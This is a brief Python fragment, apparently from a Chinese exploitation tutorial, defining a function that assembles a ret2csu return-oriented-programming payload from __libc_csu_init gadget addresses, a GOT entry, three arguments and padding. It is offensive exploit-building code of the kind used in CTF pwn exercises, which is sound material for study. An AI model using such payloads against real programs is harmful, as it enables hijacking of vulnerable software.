def csu_init( addr_target_fuc_got , arg_3 , arg_2 , arg_1):
# addr_init = 0x4008BA
# addr_call = 0x4008A0
payload = p64(addr_init) + p64(0) + p64(1) + p64(addr_target_fuc_got) + p64(arg_3) + p64(arg_2) + p64(arg_1)
payload += p64(addr_call) + 'a' * 56
return payload
网友评论